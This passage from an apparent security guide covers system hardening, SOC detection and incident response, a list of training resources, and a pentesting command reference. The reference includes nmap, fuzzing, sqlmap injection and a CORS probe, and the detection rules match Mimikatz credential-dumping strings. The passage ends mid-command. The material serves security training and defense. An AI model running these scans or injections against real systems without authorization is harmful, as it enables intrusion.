# 13. Disable LLMNR/NBT-NS:
# Group Policy:
# Computer Configuration → Administrative Templates →
# Network → DNS Client → Turn off multicast name resolution
# 14. Monitor for DCSync:
# Enable audit: Directory Service Access
# Alert on Event ID 4662 with:
# - Properties: {1131f6aa-...} (DS-Replication-Get-Changes)
# - Properties: {1131f6ad-...} (DS-Replication-Get-Changes-All)
# 15. Privileged Access Workstations (PAWs):
# Dedicated workstations for admin tasks
# No email, no browsing, hardened configuration
Privilege Escalation Prevention
# LINUX: Preventing Privilege Escalation
# 1. Remove unnecessary SUID binaries:
find / -perm -4000 2>/dev/null
# For each found:
chmod u-s /path/to/binary # If not needed
# 2. Restrict sudo:
# Edit /etc/sudoers (use visudo):
# Bad:
john ALL=(ALL) NOPASSWD: ALL
# Good:
john ALL=(ALL) /usr/bin/systemctl restart apache2
# 3. Use capabilities instead of SUID:
# Instead of chmod +s:
setcap cap_net_bind_service=+ep /usr/bin/python3.9
# 4. Kernel hardening:
# sysctl settings in /etc/sysctl.conf:
kernel.dmesg_restrict = 1 # Prevent dmesg from non-root
kernel.kptr_restrict = 2 # Hide kernel pointers
kernel.yama.ptrace_scope = 2 # Prevent ptrace
fs.protected_hardlinks = 1 # Protect hardlinks
fs.protected_symlinks = 1 # Protect symlinks
# Apply:
sysctl -p
# 5. Disable core dumps:
echo "* hard core 0" >> /etc/security/limits.conf
# 6. Use AppArmor/SELinux:
# AppArmor:
apt install apparmor apparmor-utils
aa-enforce /etc/apparmor.d/*
# SELinux:
setenforce 1 # Enforcing mode
# Configure policies
# 7. Secure cron jobs:
# Ensure cron files not world-writable:
chmod 600 /etc/crontab
chmod 700 /etc/cron.d
# 8. Protect .bash_history:
# Prevent modification:
chattr +a ~/.bash_history
# 9. Limit root login:
# Only via console, not SSH:
# In /etc/ssh/sshd_config:
PermitRootLogin no
# WINDOWS: Preventing Privilege Escalation
# 1. Disable SeImpersonatePrivilege for service accounts:
# Use Group Policy or directly:
ntrights -u ServiceAccount -r SeImpersonatePrivilege
# 2. Patch regularly:
# Enable Windows Update
# Install: Windows Server Update Services (WSUS)
# 3. Disable unnecessary services:
Get-Service | Where-Object {$_.StartType -eq 'Automatic'}
# Review and disable unneeded services
# 4. File system permissions:
# Regular audit:
icacls C:\\
Program Files /verify
# Fix weak permissions:
icacls "C:\\Program Files\\App" /inheritance:r /grant Administrators:F SYSTEM:F
# 5. Disable PowerShell v2:
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
# 6. Configure Windows Firewall:
New-NetFirewallRule -DisplayName "Block SMB" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Block
# 7. Implement Just Enough Administration (JEA):
# Limits what administrators can do:
New-PSSessionConfigurationFile -Path .\RestrictedAdmin.pssc -SessionType RestrictedRemoteServer
# 8. Use Windows Defender Application Control (WDAC):
# Whitelist approved applications only
Monitoring & Detection
# BUILD A SECURITY OPERATIONS CENTER (SOC)
# 1. Centralized Logging (SIEM):
# Option A: ELK Stack (Free)
# Elasticsearch + Logstash + Kibana
apt install elasticsearch logstash kibana
# Configure Logstash to collect logs from all systems:
# /etc/logstash/conf.d/logstash.conf
# Visualize in Kibana:
# http://localhost:5601
# Option B: Splunk (Enterprise):
# Download from splunk.com
# Install universal forwarder on all systems
# Central Splunk server receives all logs
# Option C: Wazuh (Free, SIEM + XDR):
# Install Wazuh server:
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -
apt install wazuh-manager wazuh-api filebeat
# Install Wazuh agent on endpoints:
# Agents send security events to server
# 2. Endpoint Detection and Response (EDR):
# Windows Defender ATP (Built-in):
# Enable via Microsoft 365 Defender portal
# Sysmon (Free monitoring for Windows):
# Download Sysmon from Microsoft
# Install with SwiftOnSecurity config:
sysmon64.exe -accepteula -i sysmonconfig-export.xml
# Monitors: Process creation, network connections, file changes
# Osquery (Cross-platform):
# SQL-powered endpoint visibility:
apt install osquery
osqueryi
> SELECT * FROM processes WHERE name LIKE '%mimikatz%';
# 3. Network Traffic Analysis:
# Zeek (formerly Bro):
apt install zeek
zeekctl deploy
# Analyzes all network traffic:
# Logs: HTTP, DNS, SSL, files, etc.
tail -f /opt/zeek/logs/current/http.log
# Wireshark on key segments:
# Capture all traffic on DMZ:
tshark -i eth0 -w /var/log/capture.pcap
# 4. Intrusion Detection Signatures:
# Snort rules:
# Example rule to detect Mimikatz:
alert tcp any any -> any any (msg:"Mimikatz Activity Detected"; \
content:"sekurlsa::logonpasswords"; nocase; \
sid:1000001; rev:1;)
# Suricata rules:
# Download ET Open ruleset:
suricata-update
# 5. Threat Hunting:
# Hunt for: Pass-the-Hash attacks
# Windows Event ID 4624 (Logon) where:
# - Logon Type = 3 (Network)
# - Authentication Package = NTLM
# - No LogonProcess (indicates PtH)
# Hunt for: Kerberoasting
# Windows Event ID 4769 where:
# - Ticket Encryption Type = 0x17 (RC4)
# - Service Name != krbtgt
# - Account Name != machine account
# Hunt for: PowerShell attacks
# Look for: Encoded commands
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | \
Where-Object {$_.Message -like "*-EncodedCommand*"}
# 6. File Integrity Monitoring (FIM):
# AIDE (Linux):
apt install aide
aideinit
# Creates database of file hashes
# Run regular checks:
aide --check
# Tripwire (Commercial):
# Monitors critical system files for changes
# 7. Vulnerability Scanning:
# OpenVAS (Free):
apt install openvas
gvm-setup
# Access web UI
# Schedule regular scans:
# Weekly internal scan
# Monthly external scan
# Nessus (Commercial):
# Download from tenable.com
# Schedule automated scans
# 8. User Behavior Analytics (UBA):
# Monitor for:
# - Login from unusual location
# - Login at unusual time
# - Excessive failed logins
# - Privilege escalation
# - Large data exfiltration
# - Access to sensitive files
# 9. Incident Response Playbook:
# Detection → Containment → Eradication → Recovery
# Phase 1: Detection
# Alert triggers (SIEM, IDS, EDR)
# Phase 2: Containment
# Isolate affected systems:
# Network level: VLAN isolation
# Host level: Disable network adapter
# Phase 3: Analysis
# Collect forensic evidence:
# Memory dump:
# Linux:
dd if=/dev/mem of=/tmp/memory.dump
# Windows:
DumpIt.exe # Or WinPMEM
# Disk image:
dd if=/dev/sda of=/mnt/evidence/disk.img
# Phase 4: Eradication
# Remove malware
# Patch vulnerabilities
# Reset compromised credentials
# Phase 5: Recovery
# Restore from clean backups
# Reimage infected systems
# Monitor for re-infection
# Phase 6: Lessons Learned
# Post-incident report
# Update defenses
# Train staff
# 10. Automation & Orchestration:
# SOAR (Security Orchestration, Automation, Response):
# Tools: TheHive, Cortex, Shuffle (Free)
# Automate: Alert enrichment, threat intel lookup, containment actions
# Example automated response:
# If [Mimikatz detected]:
# - Isolate host
# - Kill process
# - Dump memory
# - Create ticket
# - Alert SOC team
# - Disable user account
📖 FINAL COMPREHENSIVE RESOURCE LIST
Books (Must-Reads)
# Pentesting:
1. "The Hacker Playbook 3" - Peter Kim
• Practical techniques, RED TEAM focused
2. "Penetration Testing" - Georgia Weidman
• Beginner-friendly, comprehensive
3. "Rtfm: Red Team Field Manual" - Ben Clark
• Quick reference, fits in pocket!
4. "The Web Application Hacker's Handbook" - Dafydd Stuttard
• Bible of web app security
5. "Metasploit: The Penetration Tester's Guide" - David Kennedy
• Deep dive into Metasploit
6. "Black Hat Python" - Justin Seitz
• Write your own hacking tools!
7. "Hash Crack: Password Cracking Manual" - Joshua Picolet
• Master password attacks
8. "Advanced Penetration Testing" - Wil Allsopp
• For experienced pentesters
# Active Directory:
9. "Attacking Network Protocols" - James Forshaw
• Protocol-level attacks
10. "Active Directory Security Assessment" - Sean Metcalf
• AD-specific pentesting
# Malware/RE:
11. "Practical Malware Analysis" - Michael Sikorski
• Reverse engineering malware
12. "The Art of Memory Forensics" - Michael Hale Ligh
• Volatility & memory analysis
# General Security:
13. "The Art of Exploitation" - Jon Erickson
• Binary exploitation, assembly
14. "Applied Cryptography" - Bruce Schneier
• Cryptography fundamentals
Video Courses & Channels
# YouTube Channels:
1. IppSec - HTB walkthrough (BEST for OSCP prep!)
2. The Cyber Mentor - TCM Security
3. John Hammond - CTF walkthroughs
4. LiveOverflow - Binary exploitation
5. HackerSploit - Practical pentesting
6. Null Byte - Hacking tutorials
7. David Bombal - Networking & security
8. NetworkChuck - Beginner-friendly
# Paid Courses:
1. TCM Security Academy
• "Practical Ethical Hacking" course
• "Windows Privilege Escalation"
• "Linux Privilege Escalation"
• PNPT certification
2. Pentester Academy
• "Attacking and Defending Active Directory"
• CRTP/CRTE certifications
3. Offensive Security
• PEN-200 (OSCP)
• PEN-300 (OSEP)
• PWK course
4. eLearnSecurity / INE
• eCPPTv2
• eWPT
• eMAPT
5. SANS Institute (Expensive but excellent)
• SEC560: Network Penetration Testing
• SEC660: Advanced Penetration Testing
# Free Courses:
1. Cybrary.it - Various security courses
2. Portswigger Web Security Academy - FREE web app security!
3. OWASP Top 10 training
4. Microsoft Learn - AD security
Communities & Forums
# Discord Servers:
1. HackTheBox Official
2. TryHackMe Official
3. NetSecFocus (OSCP study group!)
4. The Cyber Mentor
5. IppSec Server
# Forums & Websites:
1. Reddit:
• r/netsec
• r/AskNetsec
• r/howtohack
• r/oscp
2. HackTheBox Forums
3. TryHackMe Discord
4. Offensive Security Forums
# Twitter (Follow These):
@IppSec - HTB walkthroughs
@thecybermentor - TCM Security
@0xdf_ - HTB writeups
@ropnop - Red teaming
@harmj0y - PowerShell/AD attacks
@gentilkiwi - Mimikatz author
@_RastaMouse - Cobalt Strike/AD
@myexploit2600 - Bug bounty
@samwcyo - AppSec
@HackingDave - Pentesting tips
# Blogs (Must-Read):
1. ired.team - Red team techniques
2. pentestmonkey.net - Cheat sheets
3. 0xdf.gitlab.io - HTB writeups
4. hackingarticles.in - Tutorials
5. medium.com/@infosecwriteups
6. pentester.land - Bug bounty
7. hausec.com - Security posts
Practice Labs & Ranges
# Beginner-Friendly:
1. TryHackMe (tryhackme.com)
• Start with: "Complete Beginner" path
• Then: "Offensive Pentesting" path
• Then: "Red Teaming" path
2. HackTheBox Academy (academy.hackthebox.com)
• Structured learning paths
• Free tier available
3. OverTheWire Wargames (overthewire.org)
• "Bandit" - Linux basics
• "Natas" - Web security
• "Leviathan" - Linux exploitation
4. PicoCTF (picoctf.org)
• Capture the Flag for beginners
• Great for learning fundamentals
# Intermediate:
5. HackTheBox (hackthebox.eu)
• Start with: "Starting Point" boxes
• Then: "Easy" rated boxes
• Active machines + retired (with VIP)
6. Pentester Lab (pentesterlab.com)
• Web app focus
• "From SQL Injection to Shell" series
7. VulnHub (vulnhub.com)
• Download vulnerable VMs
• Practice offline
• Recommended: Kioptrix series, OSCP-like boxes
# Advanced:
8. Proving Grounds (offensive-security.com)
• OSCP-style practice
• Play (easier) + Practice (harder)
9. HTB Pro Labs
• "Dante" - OSCP prep
• "RastaLabs" - AD focused
• "Offshore" - Advanced
10. Immersive Labs (immersivelabs.com)
• Enterprise security training
# CTF Platforms:
11. CTFtime.org - Find upcoming CTFs
12. Root-Me (root-me.org)
13. Hacker101 CTF (hacker101.com)
14. W3Challs (w3challs.com)
# Bug Bounty Practice:
15. PortSwigger Web Security Academy
• FREE web app labs!
16. HackerOne Hacker101
17. Bugcrowd University
💀 FINAL WORDS - YOU ARE NOW A HACKER! 🏴☠️
🎯 Essential Commands Quick Reference
29 frequently-used commands for pentesting, organized by category.
# ==================== RECONNAISSANCE (Commands 1-15) ====================
# 1. Host discovery
nmap -sn 10.10.10.0/24
# 2. Full port scan
nmap -p- --min-rate=1000 10.10.10.50
# 3. Detailed service scan
nmap -sC -sV -p 22,80,443,445 10.10.10.50
# 4. UDP scan
sudo nmap -sU --top-ports 20 10.10.10.50
# 5. Aggressive scan
nmap -A 10.10.10.50
# 6. Subdomain enumeration
amass enum -d target.com
# 7. DNS zone transfer
dig axfr @10.10.10.50 target.com
# 8. WHOIS lookup
whois target.com
# 9. TheHarvester (email gathering)
theHarvester -d target.com -b all
# 10. Shodan search (from website)
# https://shodan.io
# 11. Certificate transparency logs
# https://crt.sh/?q=target.com
# 12. Wayback Machine
# https://web.archive.org
# 13. Google dorking
# site:target.com filetype:pdf
# 14. LinkedIn reconnaissance
# Find employees, technologies used
# 15. GitHub search
# site:github.com "target.com" password
# ==================== WEB ENUMERATION (Commands 16-30) ====================
# 16. Directory fuzzing (Gobuster)
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
# 17. Directory fuzzing with extensions
gobuster dir -u http://10.10.10.50 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,js
# 18. FFuf directory fuzzing
ffuf -u http://10.10.10.50/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
# 19. Virtual host fuzzing
ffuf -u http://10.10.10.50 -H "Host: FUZZ.target.com" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1234
# 20. Parameter fuzzing
ffuf -u http://10.10.10.50/page?FUZZ=value -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
# 21. Nikto web scanner
nikto -h http://10.10.10.50
# 22. WhatWeb technology detection
whatweb http://10.10.10.50
# 23. Nuclei template scanning
nuclei -u http://10.10.10.50
# 24. WPScan (WordPress)
wpscan --url http://10.10.10.50 --enumerate vp,vt,u
# 25. SQL injection (SQLmap)
sqlmap -u "http://10.10.10.50/page.php?id=1" --batch --dbs
# 26. XSS testing (Dalfox)
dalfox url http://10.10.10.50/search?q=test
# 27. CORS misconfiguration test
curl -H "Origin: https://evil.com" -I http://10.10.10.50
# 28. Retrieve robots.txt
curl http://10.10.10.50/robots.txt
# 29. View source for comments
curl -s http://10.10.10.50 | grep -i "